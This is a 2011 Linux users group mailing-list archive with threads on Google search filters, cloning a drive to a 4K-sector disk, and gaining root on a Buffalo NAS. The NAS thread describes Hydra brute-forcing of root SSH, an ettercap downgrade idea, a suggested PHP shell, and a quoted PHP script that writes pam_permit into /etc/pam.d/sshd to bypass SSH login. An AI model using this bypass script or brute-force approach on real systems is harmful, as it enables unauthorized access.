A note of PLUG appreciation

2011-07-18 Thread Alan Dayley
Last Thursday I visited the beginning of the East Side Meeting. It was
my fist visit to a PLUG meeting in literally years.

I was gratified to see many of the familiar people and a strong mix of
new faces too. That you are still a community, still working to
improve each other's knowledge and spread FS/OSS to the larger Phoenix
community is a great thing.  Thank you for your collective work,
performed by dedicated individuals.

I will find a day when I can stay longer and enjoy more time with you all.

Alan
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Re: Is it possible to extract the root password from the file system?

2011-07-18 Thread Dan Dubovik
Can you SSH as the hammerhead user?

When you FTP as the hammerhead user, can you move the script.php file to the
htdocs directory?  It has 777 permissions, so should be able to open it /
drop a file there.

If you can get a PHP file uploaded and able to execute properly, perhaps a
PHP based shell could help?

-- Dan.

On Mon, Jul 18, 2011 at 9:20 PM, Lisa Kachold wrote:

> I believe the script.php has to be moved the webroot directory and given
> permissions there I believe, but well if you can't get a login via ssh... --
> how to do it?
>
>
> On Sun, Jul 17, 2011 at 8:58 AM, Mark Phillips  > wrote:
>
>> On Sun, Jul 17, 2011 at 3:54 AM, Lisa Kachold wrote:
>>
>>> There are alot of password files and dictionary lists on various sites.
>>> Backtrack5 contains a good number.
>>>
>>> But I imagine that it's either not allowing root via ssh or you have the
>>> wrong username.
>>>
>>
>> It turns out the box is smarter than a fifth grader.after a few hydra
>> attacks, it started rejecting all the hydra attempts to ssh in via root.
>> Once I stopped hydra (after running all night), it took a couple of hours
>> before it would respond to ssh attempts from root. It now will ask for the
>> root password, but I still have no idea what it is.
>>
>>>
>>> Or it's a truely random string.
>>>
>> It could bethe password for the zip file to unzip the file system is
>>
>>  YvSInIQopeipx66t_DCdfEvfP47qeVPhNhAuSYmA4
>>
>> . Someone retrieved it using a disassembler on the file system.
>>
>> I did some more reading, and one person was able to use php to allow ssh
>> login. The box allows one to create a web space, and it comes with php
>> installed. One can edit the php.ini file, and I can upload via ftp a php
>> script. The script they suggested is:
>> > $file = '../../../../etc/pam.d/sshd';
>> $fh=fopen($file, 'w') or die("can't open file");
>> $stringData = "account  required   pam_unix.so\n";
>> fwrite($fh, $stringData);
>> $stringData = "session  required   pam_unix.so\n";
>> fwrite($fh, $stringData);
>> $stringData = "auth required pam_permit.so\n";
>> fwrite($fh, $stringData);
>> fclose($fh);
>> ?>
>>
>> I uploaded the script, but I get a 404 File not Found when I access the
>> page. I thought it might be a file permission error since the file is only
>> rw. I tried chmod 777 at the ftp prompt, and got the error message File not
>> Found, but ls shows it is there.
>>
>> ftp> ls
>> 200 PORT command successful
>> 150 Opening ASCII mode data connection for file list
>> drwxrwxrwx   2 apache   apache  6 Jul 17 08:23 cgi-bin
>> drwxrwxrwx   2 apache   apache 22 Jul 17 08:23 htdocs
>> drwxrwxrwx   2 apache   apache 39 Jul 17 08:23 log
>> -rw-rw-rw-   1 hammerhead hdusers   335 Jul 17 08:49 script.php
>> 226 Transfer complete
>> ftp> chmod 777 script.php
>> 550 CHMOD 777 script.php: No such file or directory
>> ftp>
>>
>> Is there anything I can change in the php.ini file to make this script
>> execute? Or, am I missing something else?
>>
>> BTW, I cannot ftp as root, but I can ftp as a user I created, hammerhead.
>>
>> Thanks,
>>
>> Mark
>>
>>>
>>> On Fri, Jul 15, 2011 at 10:33 PM, Mark Phillips <
>>> m...@phillipsmarketing.biz> wrote:
>>>
 Since this is a drive buffalo, I might try ettercap ssh downgrade
> attack:
>
> http://openmaniak.com/ettercap_filter.php
> ttp://sites.google.com/site/clickdeathsquad/Home/cds-ssh-mitmdowngrade
>
> Not sure how a man in the middle attack will work, since I don't know
 the password to begin with...

 Or Hydra:
>
> Hydra Instructions:
>
> http://www.youtube.com/watch?v=7CP-JB4QARo
>
>>
>>> Hydra is promising. I tried it with the common passwords list from
 openwall. No luck. Do you have any better password lists?

 Thanks,

 Mark

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Re: Is it possible to extract the root password from the file system?

2011-07-18 Thread Lisa Kachold
I believe the script.php has to be moved the webroot directory and given
permissions there I believe, but well if you can't get a login via ssh... --
how to do it?

On Sun, Jul 17, 2011 at 8:58 AM, Mark Phillips
wrote:

> On Sun, Jul 17, 2011 at 3:54 AM, Lisa Kachold wrote:
>
>> There are alot of password files and dictionary lists on various sites.
>> Backtrack5 contains a good number.
>>
>> But I imagine that it's either not allowing root via ssh or you have the
>> wrong username.
>>
>
> It turns out the box is smarter than a fifth grader.after a few hydra
> attacks, it started rejecting all the hydra attempts to ssh in via root.
> Once I stopped hydra (after running all night), it took a couple of hours
> before it would respond to ssh attempts from root. It now will ask for the
> root password, but I still have no idea what it is.
>
>>
>> Or it's a truely random string.
>>
> It could bethe password for the zip file to unzip the file system is
>
>  YvSInIQopeipx66t_DCdfEvfP47qeVPhNhAuSYmA4
>
> . Someone retrieved it using a disassembler on the file system.
>
> I did some more reading, and one person was able to use php to allow ssh
> login. The box allows one to create a web space, and it comes with php
> installed. One can edit the php.ini file, and I can upload via ftp a php
> script. The script they suggested is:
>  $file = '../../../../etc/pam.d/sshd';
> $fh=fopen($file, 'w') or die("can't open file");
> $stringData = "account  required   pam_unix.so\n";
> fwrite($fh, $stringData);
> $stringData = "session  required   pam_unix.so\n";
> fwrite($fh, $stringData);
> $stringData = "auth required pam_permit.so\n";
> fwrite($fh, $stringData);
> fclose($fh);
> ?>
>
> I uploaded the script, but I get a 404 File not Found when I access the
> page. I thought it might be a file permission error since the file is only
> rw. I tried chmod 777 at the ftp prompt, and got the error message File not
> Found, but ls shows it is there.
>
> ftp> ls
> 200 PORT command successful
> 150 Opening ASCII mode data connection for file list
> drwxrwxrwx   2 apache   apache  6 Jul 17 08:23 cgi-bin
> drwxrwxrwx   2 apache   apache 22 Jul 17 08:23 htdocs
> drwxrwxrwx   2 apache   apache 39 Jul 17 08:23 log
> -rw-rw-rw-   1 hammerhead hdusers   335 Jul 17 08:49 script.php
> 226 Transfer complete
> ftp> chmod 777 script.php
> 550 CHMOD 777 script.php: No such file or directory
> ftp>
>
> Is there anything I can change in the php.ini file to make this script
> execute? Or, am I missing something else?
>
> BTW, I cannot ftp as root, but I can ftp as a user I created, hammerhead.
>
> Thanks,
>
> Mark
>
>>
>> On Fri, Jul 15, 2011 at 10:33 PM, Mark Phillips <
>> m...@phillipsmarketing.biz> wrote:
>>
>>> Since this is a drive buffalo, I might try ettercap ssh downgrade attack:

 http://openmaniak.com/ettercap_filter.php
 ttp://sites.google.com/site/clickdeathsquad/Home/cds-ssh-mitmdowngrade

 Not sure how a man in the middle attack will work, since I don't know
>>> the password to begin with...
>>>
>>> Or Hydra:

 Hydra Instructions:

 http://www.youtube.com/watch?v=7CP-JB4QARo

>
>> Hydra is promising. I tried it with the common passwords list from
>>> openwall. No luck. Do you have any better password lists?
>>>
>>> Thanks,
>>>
>>> Mark
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Re: Google Search Restriction

2011-07-18 Thread Dazed_75
Aaah, is that new Joseph?  Part of the Google redesign?  I never noticed
that there before.  Thanks!

On Mon, Jul 18, 2011 at 7:16 PM, Joseph Sinclair
wrote:

> If you're logged in and search, you should see search tools on the left
> column.
> You can select a date range and other criteria there.  It's one extra step
> (search, then select date range), but it's a little bit easier than advanced
> search.
>
>
> On 07/18/2011 04:09 PM, Dazed_75 wrote:
> > Thanks Hans and Stephen,
> >
> > Hans, the only add-on I found to set search defaults only works with FF 1
> > and 2
> >
> > Stephen: That is one of the things I was looking for but typing
> > daterange:2455395-2455760 is harder than going to the Advanced search
> since
> > you have to figure out the Julian dates yourself.
> >
> >
> > On Mon, Jul 18, 2011 at 3:38 PM, Stephen  wrote:
> >
> >> Does this do what you want?
> >>
> >> http://reviews.cnet.com/4520-10165_7-6206764-2.html
> >>
> >> On Mon, Jul 18, 2011 at 3:31 PM, Dazed_75  wrote:
> >>> Does anyone know a way to set a default or to specify search results be
> >>> restricted to, say, the last year WITHOUT having to go to Advanced
> Search
> >>> every time.  I am REALLY tired of search results for Linux that are so
> >> far
> >>> out of time as to be too often useless.
> >>>
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Re: Google Search Restriction

2011-07-18 Thread Joseph Sinclair
If you're logged in and search, you should see search tools on the left column.
You can select a date range and other criteria there.  It's one extra step 
(search, then select date range), but it's a little bit easier than advanced 
search.


On 07/18/2011 04:09 PM, Dazed_75 wrote:
> Thanks Hans and Stephen,
> 
> Hans, the only add-on I found to set search defaults only works with FF 1
> and 2
> 
> Stephen: That is one of the things I was looking for but typing
> daterange:2455395-2455760 is harder than going to the Advanced search since
> you have to figure out the Julian dates yourself.
> 
> 
> On Mon, Jul 18, 2011 at 3:38 PM, Stephen  wrote:
> 
>> Does this do what you want?
>>
>> http://reviews.cnet.com/4520-10165_7-6206764-2.html
>>
>> On Mon, Jul 18, 2011 at 3:31 PM, Dazed_75  wrote:
>>> Does anyone know a way to set a default or to specify search results be
>>> restricted to, say, the last year WITHOUT having to go to Advanced Search
>>> every time.  I am REALLY tired of search results for Linux that are so
>> far
>>> out of time as to be too often useless.
>>>
>>> --
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>> occasions,
>>> that I wish it always to be kept alive.
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Re: Google Search Restriction

2011-07-18 Thread Ted Gould
On Mon, 2011-07-18 at 15:31 -0700, Dazed_75 wrote:
> Does anyone know a way to set a default or to specify search results
> be restricted to, say, the last year WITHOUT having to go to Advanced
> Search every time.  I am REALLY tired of search results for Linux that
> are so far out of time as to be too often useless.

As an interesting data point, the Ubuntu Forums Council has decided to
start restricting crawlers on the older posts to try to help this
situation as well.  I think it was a good move they made.  I hope that
other similar groups do the same thing.

--Ted



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Re: Google Search Restriction

2011-07-18 Thread Dazed_75
Thanks Hans and Stephen,

Hans, the only add-on I found to set search defaults only works with FF 1
and 2

Stephen: That is one of the things I was looking for but typing
daterange:2455395-2455760 is harder than going to the Advanced search since
you have to figure out the Julian dates yourself.


On Mon, Jul 18, 2011 at 3:38 PM, Stephen  wrote:

> Does this do what you want?
>
> http://reviews.cnet.com/4520-10165_7-6206764-2.html
>
> On Mon, Jul 18, 2011 at 3:31 PM, Dazed_75  wrote:
> > Does anyone know a way to set a default or to specify search results be
> > restricted to, say, the last year WITHOUT having to go to Advanced Search
> > every time.  I am REALLY tired of search results for Linux that are so
> far
> > out of time as to be too often useless.
> >
> > --
> > Dazed_75 a.k.a. Larry
> >
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> > that I wish it always to be kept alive.
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Re: Google Search Restriction

2011-07-18 Thread Stephen
Does this do what you want?

http://reviews.cnet.com/4520-10165_7-6206764-2.html

On Mon, Jul 18, 2011 at 3:31 PM, Dazed_75  wrote:
> Does anyone know a way to set a default or to specify search results be
> restricted to, say, the last year WITHOUT having to go to Advanced Search
> every time.  I am REALLY tired of search results for Linux that are so far
> out of time as to be too often useless.
>
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Re: Google Search Restriction

2011-07-18 Thread der.hans

Am 18. Jul, 2011 schwätzte Dazed_75 so:

moin moin Larry,


Does anyone know a way to set a default or to specify search results be
restricted to, say, the last year WITHOUT having to go to Advanced Search
every time.  I am REALLY tired of search results for Linux that are so far
out of time as to be too often useless.


Check for Firefox plugins that will allow you to set some defaults
client-side. I think LifeHacker has one. It's a GreaseMonkey script.

You might also be able to specify it in the URL for the search box, so you
could add a specific search to your search box options in Firefox.

There are also probably ways to do it via google accounts if you login and
allow google cookies.

ciao,

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Google Search Restriction

2011-07-18 Thread Dazed_75
Does anyone know a way to set a default or to specify search results be
restricted to, say, the last year WITHOUT having to go to Advanced Search
every time.  I am REALLY tired of search results for Linux that are so far
out of time as to be too often useless.

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Re: Need Help Cloning a Drive

2011-07-18 Thread Mark Phillips
Joseph,

Thanks. I thought that might be a problem, and clonezilla has the option for
a proportional partition table. I will try that tonight.

Mark

On Sun, Jul 17, 2011 at 11:24 PM, Joseph Sinclair  wrote:

> You're dealing with something that's affecting more people.
> The old drive has what *was* the normal sector size for MANY years, 512
> bytes.
> The new drive has what *is now* becoming standard, 4096 bytes.
>
> The 'use the partition table from the source' option in clonezilla is not
> going to work.
> You CANNOT use a partition table for a 512 byte sector size directly on a
> disk with 4096 byte sectors.  The partition table records a number of
> sectors, and you're copying it without translation, so the new drive thinks
> it has partitions 8 times the size of the old; and the later ones run off
> the end of the disk.
> I'm not familiar with clonezilla, but I think there are options to
> configure a destination partition table "proportional" to the source. That's
> a bit more complex, but it's probably the only way to make it work with your
> situation.
>
> Hopefully that helps.
>
> ==Joseph++
>
> On 07/17/2011 10:57 PM, Mark Phillips wrote:
> > Well, Clonezilla is having problems cloning my drive.
> >
> > I first booted into Debian and created one big ext3 partition on the new
> > drive (750 GB), old drive is 320 GB. Then fired up Clonzilla. I took all
> the
> > defaults, chose device to device, expert, and local disk to local disk,
> and
> > chose sda as the source and sdb as the target. l kept the default
> options:
> > -g auto -e1 auto -e2 -j2 -v, and 'use the partition table from the
> source'.
> > I get a' successfully wrote partition table'. Then I get the "Error can't
> > have a partition outside disk" and Clonezilla dies. Here is what I get
> with
> > fdisk after booting back into Debian
> >
> > orca:/home/mark# fdisk -l
> >
> > Disk /dev/sda: 320.1 GB, 320072933376 bytes
> > 255 heads, 63 sectors/track, 38913 cylinders
> > Units = cylinders of 16065 * 512 = 8225280 bytes
> > Sector size (logical/physical): 512 bytes / 512 bytes
> > I/O size (minimum/optimal): 512 bytes / 512 bytes
> > Disk identifier: 0x81d6785f
> >
> >Device Boot  Start End  Blocks   Id  System
> > /dev/sda1   1   5   40131   de  Dell Utility
> > /dev/sda2   *   6191815367  HPFS/NTFS
> > /dev/sda31918701740963092+   7  HPFS/NTFS
> > /dev/sda47018   38913   256204620 5  Extended
> > /dev/sda5   *7018   37615   245778403+  83  Linux
> > /dev/sda6   37616   3891310426153+  82  Linux swap /
> Solaris
> > Note: sector size is 4096 (not 512)
> > Warning: ignoring extra data in partition table 5
> > Warning: ignoring extra data in partition table 5
> > Warning: ignoring extra data in partition table 5
> > Warning: invalid flag 0xbfbb of partition table 5 will be corrected by
> > w(rite)
> >
> > Disk /dev/sdb: 750.2 GB, 750156374016 bytes
> > 255 heads, 63 sectors/track, 11400 cylinders
> > Units = cylinders of 16065 * 4096 = 65802240 bytes
> > Sector size (logical/physical): 4096 bytes / 4096 bytes
> > I/O size (minimum/optimal): 4096 bytes / 4096 bytes
> > Disk identifier: 0x81d6785f
> >
> >Device Boot  Start End  Blocks   Id  System
> > /dev/sdb1   1   5  321048   de  Dell Utility
> > Partition 1 does not start on physical sector boundary.
> > /dev/sdb2   *   61918   122887  HPFS/NTFS
> > /dev/sdb319187017   3277047407  HPFS/NTFS
> > /dev/sdb47018   38913  20496369605  Extended
> > Partition 4 does not start on physical sector boundary.
> > /dev/sdb5   ?   82628  130208  3057478824   48  Unknown
> > orca:/home/mark#
> >
> > Any ideas how I can fix this error and clone my drive to the new drive?
> >
> > Thanks,
> >
> > Mark
> >
> > On Sun, Jul 17, 2011 at 4:10 PM, Stephen  wrote:
> >
> >> Woo hoo!
> >> On Jul 17, 2011 11:55 AM, "Mark Phillips" 
> >> wrote:
> >>> I took a look at clonezilla again, and found an amd64 iso in clonezilla
> >>> testing. I tried that one, and it worked on my laptop. I will try a
> clone
> >>> tonight (I like to make my laptop work while I sleep;) ), so I will
> >> let
> >>> you know in the morning. Perhaps the ubuntu version was not amd64 and
> >> that
> >>> may be why it barfed? I tried the CD on a another machine (i386) and it
> >>> booted up OK.
> >>>
> >>> As of right now, it is humming along nicely on the old drive.
> >>>
> >>> Thanks!
> >>>
> >>> Mark
> >>>
> >>> On Sun, Jul 17, 2011 at 8:52 AM, Mark Phillips
> >>> wrote:
> >>>
> 
> 
>  On Sun, Jul 17, 2011 at 3:51 PM, Mark Phillips <
> >> m...@phillipsmarketing.biz
> > wrote:
> 
> > I tried the alt media and it did not work. - 20110530-natty,
> >
> >
> > Mark
> >
> >
> > On Sun, Jul 17, 2011 at 3:48 PM, Stephen 
> wrote:
> >
> >